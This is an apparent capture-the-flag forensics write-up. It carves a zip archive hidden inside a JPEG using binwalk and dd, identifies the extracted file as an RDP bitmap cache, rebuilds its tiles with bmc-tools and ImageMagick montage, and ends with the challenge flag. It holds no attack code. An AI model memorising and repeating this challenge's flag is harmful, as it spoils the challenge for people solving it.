Everything is Ok
Files: 2
Size: 2937154
Compressed: 2898690
$ ls
bcache24.bmc btr.jpg hidden.zip
$ file *
bcache24.bmc: empty
btr.jpg: JPEG image data, baseline, precision 8, 640x333, components 3
hidden.zip: Zip archive data, at least v1.0 to extract, compression method=AES Encrypted
two files were given, but one them are empty. then binwalk is ran against btr.jpg
and a zip file was found inside of it.
$ binwalk btr.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
77878 0x13036 Zip archive data, at least v2.0 to extract, compressed size: 2859116, uncompressed size: 26030812, name: Cache0000.bin
2937132 0x2CD12C End of Zip archive, footer length: 22
however, seems like binwalk was unable extract the zip. so i used dd
to do the job instead. and after extracting it, a file named Cache0000.bin
was extracted.
$ dd if=btr.jpg of=embedded.zip bs=1 skip=77878 status=none
$ 7z x embedded.zip
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 2859276 bytes (2793 KiB)
Extracting archive: embedded.zip
--
Path = embedded.zip
Type = zip
Physical Size = 2859276
Everything is Ok
Size: 26030812
Compressed: 2859276
$ ls
bcache24.bmc btr.jpg _btr.jpg.extracted Cache0000.bin embedded.zip hidden.zip
$ xxd -g 1 -l 128 Cache0000.bin
00000000: 52 44 50 38 62 6d 70 00 06 00 00 00 f6 17 b0 bf RDP8bmp.........
00000010: 6e 5f ce a9 40 00 40 00 00 00 00 ff 00 00 00 ff n_..@.@.........
00000020: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................
00000030: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................
00000040: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................
00000050: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................
00000060: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................
00000070: 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................
the bytes suggests its a RDP Bitmap Cache file. the quickest way to pull the pictures out is with BMC-Tools
$ git clone https://github.com/ANSSI-FR/bmc-tools
Cloning into 'bmc-tools'...
remote: Enumerating objects: 112, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 112 (delta 28), reused 29 (delta 26), pack-reused 71 (from 1)
Receiving objects: 100% (112/112), 42.71 KiB | 1.15 MiB/s, done.
Resolving deltas: 100% (52/52), done.
$ cd bmc-tools
$ mkdir -p ../cache0000_out
$ python3 bmc-tools.py -s ../Cache0000.bin -d ../cache0000_out -b
[+++] Processing a single file: '../Cache0000.bin'.
[+++] Processing a file: '../Cache0000.bin'.
[===] 1596 tiles successfully extracted in the end.
[===] Successfully exported 1596 files.
[===] Successfully exported collage file.
$ cd cache0000_out/
$ ls
Cache0000.bin_0000.bmp Cache0000.bin_0267.bmp Cache0000.bin_0534.bmp Cache0000.bin_0801.bmp Cache0000.bin_1068.bmp Cache0000.bin_1335.bmp
Cache0000.bin_0001.bmp Cache0000.bin_0268.bmp Cache0000.bin_0535.bmp Cache0000.bin_0802.bmp Cache0000.bin_1069.bmp Cache0000.bin_1336.bmp
[...SNIP...]
then to combine all of the bmp I ran
montage *.bmp -geometry +1+1 -tile 100x montage_all.jpg
opening the image, we can see the flag printed all over the place

Flag: CBD{1_d0nT_wH4t_I_44mm_do1nGg_19Nik1j4}
Last updated